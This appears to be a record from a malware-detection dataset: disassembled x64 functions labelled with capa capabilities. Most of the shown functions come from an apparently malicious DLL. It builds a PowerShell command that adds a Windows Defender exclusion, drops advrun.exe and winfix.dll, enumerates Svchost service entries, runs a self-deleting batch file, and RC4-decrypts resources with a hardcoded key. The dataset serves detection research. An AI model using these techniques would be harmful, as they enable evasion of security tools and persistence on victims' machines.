joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2fc4ca7a0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4cb1a2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4ef108]
test eax, eax
je 0x2fc4cb23a
lea rax, [0x2fc4ef0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4ef110]
mov qword [rbp - 8], rax
jmp 0x2fc4cb21e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4cb212
cmp qword [rbp - 0x10], 0
je 0x2fc4cb212
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4cb1d8
lea rax, [0x2fc4ef0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4cb23b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4cb340
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4cb368
mov eax, 0
jmp 0x2fc4cb3b6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4cb391
mov eax, 0
jmp 0x2fc4cb3b6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4cb3b1
mov eax, 0
jmp 0x2fc4cb3b6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4cb3bc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4cb43a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4cb431
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4cb431
mov rax, qword [rbp - 8]
jmp 0x2fc4cb44f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4cb404
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14000d2a7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140082078]
jne 0x140002ffa
rol rcx, 0x10
test cx, 0xffff
jne 0x140002ff6
repz ret
ror rcx, 0x10
jmp 0x14000d200
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400842b0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x1400843a8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000d285
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400842b0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000d2a7
mov rax, qword [rsp + 0x88]
mov qword [0x1400843a8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140084348], rax
mov rax, qword [0x1400843a8]
mov qword [0x140084220], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140084330], rax
mov dword [0x140084210], 0xc0000409
mov dword [0x140084214], 1
mov rax, qword [0x140082078]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140082080]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400842a8], eax
mov ecx, 1
call fcn.140012a80
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140070d20]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400842a8], 0
jne 0x14000d32e
mov ecx, 1
call fcn.140012a80
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x180001740
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov rax, qword [0x180026008]
xor rax, rsp
mov qword [rbp + 0x78], rax
mov rdi, rcx
movdqa xmm0, xmmword [str.powershell_Add_MpPreference__ExcentControlSetSeHKLMSYSTEMCurr_]
movdqu xmmword [rbp + 0x48], xmm0
movdqa xmm1, xmmword [0x180022930]
movdqu xmmword [rbp + 0x58], xmm1
mov dword [rbp + 0x68], 0x6973756c
mov dword [rbp + 0x6c], 0x61506e6f
mov dword [rbp + 0x70], 0x22206874
mov word [rbp + 0x74], 0x7325
mov byte [rbp + 0x76], 0x22
mov ecx, 0x104
call fcn.1800051f8
mov rbx, rax
xor edx, edx
mov r8d, 0x104
mov rcx, rax
call fcn.180007ca0
mov r8, rdi
lea rdx, [rbp + 0x48]
mov rcx, rbx
call qword [sym.imp.USER32.dll_wsprintfA]
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x30]
call fcn.180007ca0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x30], rax
mov r8d, 3
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.180002940
nop
call fcn.180001350
mov rdx, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x180001827
mov ecx, 0x80004005
call fcn.180001230
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x40], rax
mov r8, qword [rsp + 0x30]
lea rdx, [0x1800223c4]
lea rcx, [rbp + 0x40]
call fcn.180002b00
mov rbx, qword [rbp + 0x40]
lea rcx, [rbx - 0x18]
call fcn.180002a60
add rax, 0x18
mov qword [rsp + 0x20], rax
mov edx, 8
lea rcx, [rsp + 0x20]
call fcn.180001620
mov edi, eax
or ecx, 0xffffffff
lock xadd dword [rbx - 8], ecx
sub ecx, 1
jg 0x180001891
mov rcx, qword [rbx - 0x18]
mov r8, qword [rcx]
lea rdx, [rbx - 0x18]
call qword [r8 + 8]
nop
lea rax, [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
cmp rcx, rax
je 0x1800018a5
call fcn.180008ec8
mov eax, edi
mov rcx, qword [rbp + 0x78]
xor rcx, rsp
call fcn.180004950
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x1800018d0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0xdd90
call fcn.180018c70
sub rsp, rax
mov rax, qword [0x180026008]
xor rax, rsp
mov qword [rsp + 0xdd80], rax
xor edx, edx
lea rcx, [rsp + 0x260]
mov r8d, 0x1000
xor edi, edi
call fcn.180007ca0
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x208
lea rbx, [rsp + 0x260]
call fcn.180007ca0
xor edx, edx
xor ecx, ecx
mov r8d, 0x80000000
call qword [0x1800284e8]
mov rsi, rax
test rax, rax
je 0x180001b2f
lea rax, [rsp + 0x40]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionSvchost
mov rcx, 0xffffffff80000002
call qword [0x1800284e0]
lea rbp, [0x1800282d0]
test eax, eax
jne 0x180001adf
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rdx, str.netsvcs
lea rax, [rsp + 0x260]
mov dword [rsp + 0x30], 0x800
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180001ad4
lea r8, [rsp + 0x260]
mov edx, 0x104
mov rcx, rbp
call fcn.18000921c
or rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rbp + rax*2], di
jne 0x1800019e0
test rax, rax
je 0x180001ad4
nop dword [rax]
nop word [rax + rax]
mov r8, rbp
lea rdx, str.SYSTEMCurrentControlSetServices_s
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rax, [rsp + 0x38]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x50]
mov rcx, 0xffffffff80000002
call qword [0x1800284e0]
mov rcx, qword [rsp + 0x38]
test eax, eax
jne 0x180001a5e
call qword [0x1800284d8]
or rax, 0xffffffffffffffff
nop dword [rax]
cmp word [rbp + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x180001a50
jmp 0x180001a9f
call qword [0x1800284d8]
mov eax, edi
lea rdx, [rsp + 0x1260]
imul rcx, rax, 0x208
mov r8, rbp
add rcx, rdx
mov edx, 0x104
call fcn.18000921c
inc edi
cmp edi, 0x104
je 0x180001ad4
or rax, 0xffffffffffffffff
cmp word [rbp + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x180001a93
lea rbx, [rbx + rax*2]
mov edx, 0x104
add rbx, 2
mov rcx, rbp
mov r8, rbx
call fcn.18000921c
or rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rbp + rax*2], 0
jne 0x180001ac0
test rax, rax
jne 0x180001a00
mov rcx, qword [rsp + 0x40]
call qword [0x1800284d8]
mov rcx, rsi
call qword [0x1800282c8]
test edi, edi
je 0x180001b2f
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.18000be14
call fcn.18000bde8
xor edx, edx
mov rcx, rbp
div edi
mov r8d, edx
imul r9, r8, 0x208
mov dword [rsp + 0x30], edx
lea r8, [rsp + 0x1260]
add r8, r9
mov edx, 0x104
call fcn.18000921c
mov eax, 1
jmp 0x180001b31
xor eax, eax
mov rcx, qword [rsp + 0xdd80]
xor rcx, rsp
call fcn.180004950
lea r11, [rsp + 0xdd90]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x180001b60
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x30
mov rax, qword [0x180026008]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rbx, qword [0x180027e90]
mov r15, r8
mov rcx, rbx
lea r8, [0x1800224b0]
mov edx, 0x69
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x180001ca0
mov rdx, rax
mov qword [rsp + 0x50], rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
test eax, eax
je 0x180001bd7
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
jne 0x180001bde
xor eax, eax
jmp 0x180001c9b
mov qword [rsp + 0x58], rsi
mov rdx, rbp
xor esi, esi
mov qword [rsp + 0x68], r14
mov r14, rbp
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x180001c8f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rbp, rax
test rax, rax
je 0x180001c86
mov r8, r14
mov rdx, rdi
mov rcx, rax
call fcn.180008040
lea r8, [rsp + 0x20]
mov qword [rsp + 0x20], rsi
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
jne 0x180001c7d
lea rdx, [0x18002249c]
mov rcx, r15
call fcn.18000befc
mov rdi, rax
test rax, rax
je 0x180001c72
mov r9, rax
lea edx, [rsi + 1]
mov r8, r14
mov rcx, rbp
call fcn.18000c1a0
mov rcx, rdi
call fcn.18000c2a8
mov esi, 1
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov r14, qword [rsp + 0x68]
mov eax, esi
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180004950
add rsp, 0x30
pop r15
pop rdi
pop rbx
ret

Function at 0x180001cc0
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x260
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rax, qword [0x180026008]
xor rax, rsp
mov qword [rsp + 0x250], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x140]
call fcn.180007ca0
lea rdx, [rsp + 0x140]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rax, [rsp + 0x140]
dec rax
lea rax, [rax + 1]
cmp byte [rax], 0
jne 0x180001d17
movsd xmm0, qword [str.advrun.exe]
movsd qword [rax], xmm0
movzx ecx, word [0x1800224a8]
mov word [rax + 8], cx
movzx ecx, byte [0x1800224aa]
mov byte [rax + 0xa], cl
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x30]
call fcn.180007ca0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x30], rax
mov r8d, 3
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x30]
call fcn.180002940
nop
mov r8, qword [rsp + 0x30]
lea rdx, [0x1800223c4]
lea rcx, [0x180027ea0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, [rsp + 0x140]
call fcn.180001b60
mov ebx, eax
lea rax, [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
cmp rcx, rax
je 0x180001db2
call fcn.180008ec8
mov eax, ebx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.180004950
add rsp, 0x260
pop rbx
ret
Function at 0x180001dd0
Capabilities:
Get common file path

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x2f0
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov rax, qword [0x180026008]
xor rax, rsp
mov qword [rsp + 0x2e0], rax
xor r9d, r9d
lea r8d, [r9 + 0x1c]
lea rdx, [r11 - 0x228]
xor ecx, ecx
call qword [0x1800280a8]
xor ebx, ebx
mov word [rsp + 0xd6], bx
xor edx, edx
mov r8d, 0x88
lea rcx, [rsp + 0x40]
call fcn.180007ca0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x40], rax
lea r8d, [rbx + 3]
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x40]
call fcn.180002800
nop
mov rcx, qword [rsp + 0x40]
call fcn.180001740
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x30], ebx
lea rdx, [rsp + 0x30]
lea ecx, [rbx + 0x68]
call fcn.180004570
mov rsi, rax
test rax, rax
jne 0x180001e9a
lea rax, [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
cmp rcx, rax
je 0x180001e93
call fcn.180008ec8
xor eax, eax
jmp 0x180001f66
mov edx, dword [rsp + 0x30]
mov rcx, rax
call fcn.180004310
lea rdx, [0x1800280b0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ecx, 0x32
call fcn.1800051f8
mov rdi, rax
xor eax, eax
mov qword [rdi], rax
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rax
mov qword [rdi + 0x20], rax
mov qword [rdi + 0x28], rax
mov word [rdi + 0x30], ax
call fcn.18000bde8
mov r8d, eax
lea rdx, str._08X.tmp
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfA]
mov rdx, rdi
lea rcx, [0x1800280b0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov r8d, dword [rsp + 0x30]
mov rdx, rsi
lea rcx, [0x1800280b0]
call fcn.1800044c0
mov edx, 0x104
lea rcx, [0x1800281c0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rdx, str.winfix.dll
lea rcx, [0x1800281c0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, rdi
call fcn.180004d70
nop
lea rax, [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
cmp rcx, rax
je 0x180001f61
call fcn.180008ec8
mov eax, 1
mov rcx, qword [rsp + 0x2e0]
xor rcx, rsp
call fcn.180004950
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1800024d0
Capabilities:
Delete file
Get common file path
Write file on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x188]
sub rsp, 0x280
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov rax, qword [0x180026008]
xor rax, rsp
mov qword [rbp + 0x170], rax
xor edi, edi
mov dword [rsp + 0x20], edi
lea rdx, [rsp + 0x20]
lea ecx, [rdi + 0x6a]
call fcn.180004570
mov rbx, rax
test rax, rax
je 0x180002689
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x60]
call fcn.180007ca0
lea rdx, [rbp + 0x60]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r8, str.de.bat
mov edx, 0x104
lea rcx, [rbp + 0x60]
call fcn.180009284
mov qword [rsp + 0x38], rdi
lea r8, [0x18002249c]
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.18000bf08
mov r9, qword [rsp + 0x38]
mov rcx, rbx
test r9, r9
je 0x180002684
mov r8d, dword [rsp + 0x20]
lea edx, [rdi + 1]
call fcn.18000c1a0
mov rcx, qword [rsp + 0x38]
call fcn.18000c2a8
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x40]
call fcn.180007ca0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x40], rax
lea r8d, [rdi + 3]
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.180002940
nop
call fcn.180001350
mov rcx, rax
test rax, rax
setne dil
test edi, edi
jne 0x1800025e7
mov ecx, 0x80004005
call fcn.180001230
int3
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x50], rax
mov r8, qword [rsp + 0x40]
lea rdx, [0x1800223c4]
lea rcx, [rbp + 0x50]
call fcn.180002b00
mov rdi, qword [rbp + 0x50]
lea rcx, [rdi - 0x18]
call fcn.180002a60
add rax, 0x18
mov qword [rsp + 0x28], rax
mov edx, 3
lea rcx, [rsp + 0x28]
call fcn.180001620
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
or eax, 0xffffffff
lock xadd dword [rdi - 8], eax
sub eax, 1
jg 0x180002661
mov rcx, qword [rdi - 0x18]
mov rax, qword [rcx]
lea rdx, [rdi - 0x18]
call qword [rax + 8]
nop
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
cmp rcx, rdx
je 0x180002675
call fcn.180008ec8
mov rcx, rbx
call fcn.180008ec8
mov eax, 1
jmp 0x18000268b
call fcn.180008ec8
xor eax, eax
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.180004950
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x180002f70
Capabilities:
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
mov ebp, edx
mov r10, rcx
test rcx, rcx
jne 0x180002f80
xor eax, eax
pop rbp
ret
cmp byte [rcx], 0x4d
jne 0x180002f7c
cmp byte [rcx + 1], 0x5a
jne 0x180002f7c
movzx eax, word [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x180002f7c
cmp dword [rax + rcx + 0x84], 1
jb 0x180002f7c
mov ecx, dword [rax + rcx + 0x88]
test ecx, ecx
je 0x180002f7c
mov qword [rsp + 0x18], rsi
xor r11d, r11d
lea rsi, [r10 + rcx]
mov qword [rsp + 0x20], rdi
mov edi, dword [rsi + 0x18]
test edi, edi
je 0x180003034
mov qword [rsp + 0x10], rbx
xor ebx, ebx
mov qword [rsp + 0x28], r14
mov r14d, dword [rsi + 0x20]
nop word [rax + rax]
mov eax, ebx
add rax, r14
mov ecx, dword [rax + r10]
test ecx, ecx
je 0x18000301f
lea r8, [r10 + rcx]
xor r9d, r9d
mov eax, 0x874dd416
cmp byte [r8], r9b
je 0x18000301b
mov rcx, r8
movzx ecx, word [rcx]
mov edx, eax
ror edx, 8
inc r9d
add edx, ecx
mov ecx, r9d
add rcx, r8
xor eax, edx
cmp byte [rcx], 0
jne 0x180003001
cmp ebp, eax
je 0x18000302a
inc r11d
add ebx, 4
cmp r11d, edi
jb 0x180002fe0
mov rbx, qword [rsp + 0x10]
mov r14, qword [rsp + 0x28]
cmp r11d, edi
mov rdi, qword [rsp + 0x20]
jb 0x180003047
xor eax, eax
mov rsi, qword [rsp + 0x18]
pop rbp
ret
mov eax, dword [rsi + 0x24]
lea ecx, [r11 + r11]
add rax, r10
movzx edx, word [rcx + rax]
mov ecx, dword [rsi + 0x1c]
mov rsi, qword [rsp + 0x18]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
pop rbp
ret
Function at 0x180004310
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x110
mov rax, qword [0x180026008]
xor rax, rsp
mov qword [rsp + 0x100], rax
xor ebx, ebx
mov edi, edx
lea r9, [0x180028990]
mov r8d, ebx
mov eax, ebx
mov r10, r9
mov r11, rcx
nop word [rax + rax]
mov byte [r10], al
lea r10, [r10 + 1]
inc eax
cmp eax, 0x100
jl 0x180004350
mov rdx, rbx
lea rsi, str._3489_sdf__g_fdb_89fg8b2f_g_g_fhk_ynuy8_ui1_j_h62k9jfghjhj_fhj_k9m45fh96f6_94h9s7f4gh_s8_h_h___j9j877hmn84ytmn7yt_tynn_yrkjyuloptoldf_a_sdfsio_luilo_i___opi__luiliu_opio_l_ol_dfsdfdgju_ukiudsd_fsdfsdfsdfhgtju_o98o98_p09908_908lo8_._.o.
nop word [rax + rax]
movzx eax, byte [rdx + rsi]
movzx r10d, byte [rdx + r9]
add r8d, eax
add r8d, r10d
and r8d, 0x800000ff
jge 0x180004395
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rcx, r8d
movzx eax, byte [rcx + r9]
mov byte [rdx + r9], al
inc rdx
mov byte [rcx + r9], r10b
cmp rdx, 0x100
jl 0x180004370
mov edx, ebx
lea rax, [rsp]
mov ecx, 2
nop dword [rax]
movups xmm0, xmmword [r9]
movups xmm1, xmmword [r9 + 0x10]
lea r9, [r9 + 0x80]
movups xmmword [rax], xmm0
movups xmm0, xmmword [r9 - 0x60]
movups xmmword [rax + 0x10], xmm1
movups xmm1, xmmword [r9 - 0x50]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [r9 - 0x40]
movups xmmword [rax + 0x30], xmm1
movups xmm1, xmmword [r9 - 0x30]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [r9 - 0x20]
movups xmmword [rax + 0x50], xmm1
movups xmm1, xmmword [r9 - 0x10]
movups xmmword [rax + 0x60], xmm0
sub rax, 0xffffffffffffff80
movups xmmword [rax - 0x10], xmm1
sub rcx, 1
jne 0x1800043c0
test edi, edi
je 0x180004497
mov r10, rdi
nop
movsxd rax, ebx
lea r8, [rsp]
add r8, rax
movzx r9d, byte [r8]
add edx, r9d
and edx, 0x800000ff
jge 0x180004443
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rsp]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r8], al
mov byte [rcx], r9b
movzx ecx, byte [r8]
add ecx, r9d
and ecx, 0x800000ff
jge 0x18000446f
dec ecx
or ecx, 0xffffff00
inc ecx
movsxd rax, ecx
movzx ecx, byte [rsp + rax]
lea eax, [rbx + 1]
xor byte [r11], cl
and eax, 0x800000ff
jge 0x18000448c
dec eax
or eax, 0xffffff00
inc eax
inc r11
mov ebx, eax
sub r10, 1
jne 0x180004420
mov al, 1
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.180004950
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x1800044c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x180026008]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor r9d, r9d
mov dword [rsp + 0x40], r8d
mov rdi, rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov dword [rsp + 0x20], 4
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180004519
xor al, al
jmp 0x180004554
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180004950
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret

Function at 0x180004570
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov rdi, qword [0x180027e90]
lea r8, [0x1800224b0]
mov r14, rdx
movzx edx, cx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rsi, rax
test rax, rax
jne 0x1800045b6
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rdx, rax
mov qword [rsp + 0x30], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x180004628
mov rcx, rax
mov qword [rsp + 0x38], rbp
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbp, rax
test rax, rax
je 0x1800045f7
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test eax, eax
jne 0x1800045fb
xor eax, eax
jmp 0x180004623
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
